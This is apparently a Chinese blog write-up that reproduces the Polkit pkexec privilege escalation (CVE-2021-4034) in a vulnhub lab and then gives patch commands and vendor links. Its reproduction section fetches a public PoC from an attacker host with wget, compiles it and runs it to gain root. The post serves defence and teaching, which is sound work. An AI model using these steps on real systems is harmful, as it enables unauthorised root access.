【CVE-2021-4034】Linux Polkit 权限提升漏洞复现及修复

前言

今天突然发现服务器存在漏洞,由于服务器不支持自动修复(主要是没钱),故决定手动对漏洞进行修复,尝试进行复现
【CVE-2021-4034】Linux Polkit 权限提升漏洞复现及修复_第1张图片

分析

Polkit 中的 pkexec 组件存在的本地权限提升漏洞(CVE-2021-4034)

该漏洞是由于 pkexec 在处理传入参数的逻辑出现问题,导致环境变量被污染,最终交由 pkexec 代码逻辑执行实现客户机权限提升。有普通权限用户的攻击者通过执行漏洞文件,触发越界读写,从而在目标系统上造成权限提升。
一个具有注脚的文本。

pkexec为suid程序
当argc(命令行参数个数变量)为0时,pkexec会读取argv[1]变量,而由于Linux进程的内存布局中环境变量是紧接着命令行参数的,因此实际上会读取到第一个环境变量。
读取到argv[1]之后,若其不是以/开头的(即不是绝对路径),则pkexec会将其理解为相对路径,继而会在环境变量中查找PATH变量,将其转换为实际路径。
若PATH环境变量包含一个攻击者可控的路径,则pkexec转换后的实际路径将会是这个攻击者可控的路径下的一个子目录,则显然此实际路径也是攻击者可控的。
pkexec会对argv[1]赋值,将其修改为上述得到的实际路径,但是我们知道argv[1]此时实际上指向的是pkexec的第一个环境变量,也就是说,pkexec将自己的第一个环境变量修改为这个实际路径了。
pkexec会在程序运行过程中调用g_printerr函数,这个函数会在运行的时候按需载入GCONV_PATH环境变量指向的路径下的gconv-modules文件中写明的外部动态链接库(so),并运行其中的初始化函数gconv_init。

影响范围

CentOS 6 < polkit-0.96-11.el6_10.2
CentOS 7 < polkit-0.112-26.el7_9.1
CentOS 8.0 < polkit-0.115-13.el8_5.1
CentOS 8.2 < polkit-0.115-11.el8_2.2
CentOS 8.4 < polkit-0.115-11.el8_4.2

Ubuntu 21.10 (Impish Indri) < Released (0.105-31ubuntu0.1)
Ubuntu 21.04 (Hirsute Hippo) Ignored (reached end-of-life)
Ubuntu 20.04 LTS (Focal Fossa) < Released (0.105-26ubuntu1.2)
Ubuntu 18.04 LTS (Bionic Beaver) < Released (0.105-20ubuntu0.18.04.6)
Ubuntu 16.04 ESM (Xenial Xerus) < Released (0.105-14.1ubuntu0.5+esm1)
Ubuntu 14.04 ESM (Trusty Tahr) < Released (0.105-4ubuntu3.14.04.6+esm1)

利用条件

复现CVE-2021-4034需要用到一个本地用户,还需要这个用户可以执行恶意文件


复现

测试环境

此次复现是用的我之前复现脏牛漏洞的环境,正好满足需求
【脏牛漏洞】vulnhub-Lampiao

步骤

使用msf利用CVE-2018-7600获取到shell后
【CVE-2021-4034】Linux Polkit 权限提升漏洞复现及修复_第2张图片

查看当前用户为www-data
当前用户
由于权限的问题,不能cd进root目录
不能cd

下载测试文件,放在root中方便一会获取

https://github.com/berdav/CVE-2021-4034

【CVE-2021-4034】Linux Polkit 权限提升漏洞复现及修复_第3张图片

攻击机使用python传输文件

python -m SimpleHTTPServer 8888 

接收

wget http://192.168.16.150:8888/cve-2021-4034-poc.c

【CVE-2021-4034】Linux Polkit 权限提升漏洞复现及修复_第4张图片
编译

gcc cve-2021-4034-poc.c -o exp

在这里插入图片描述
得到exp文件
【CVE-2021-4034】Linux Polkit 权限提升漏洞复现及修复_第5张图片
执行

./exp

在这里插入图片描述
可以看到执行前用户UID为www-data
执行后UID为root,成功提权
【CVE-2021-4034】Linux Polkit 权限提升漏洞复现及修复_第6张图片
可以进入到/root,查看flag
【CVE-2021-4034】Linux Polkit 权限提升漏洞复现及修复_第7张图片

漏洞修复

参考深信服千里目安全实验室给出的漏洞修复建议

1 如何检测系统版本
CentOS 用户可采用如下命令升级到安全版本或更高版本:

yum clean all && yum makecache
yum update polkit -y

验证修复,通过以下命令可查看 Polkit 是否为安全版本:

rpm -qa polkit

Ubuntu 用户可采用如下命令升级至安全版本或更高版本:

sudo apt-get update
sudo apt-get install policykit-1

验证修复,通过以下命令可查看 Polkit 是否为安全版本:

dpkg -l policykit-1

2 官方修复建议
目前各 Linux 发行版官方均已给出安全补丁,建议用户尽快升级至安全版本,或参照官方说明措施进行缓解,CentOS、Ubuntu 及 Debian 用户可参考以下链接:

  1. https://ubuntu.com/security/CVE-2021-4034
  2. https://access.redhat.com/security/cve/CVE-2021-4034
  3. https://security-tracker.debian.org/tracker/CVE-2021-4034

参考

【漏洞通告】Linux Polkit 权限提升漏洞CVE-2021-4034

CVE-2021-4034漏洞利用原理分析,应用签名为统信UOS安全护航

CVE-2021-4034:Linux Polkit 权限提升漏洞复现及修复

你可能感兴趣的:(漏洞复现,linux,安全,web安全)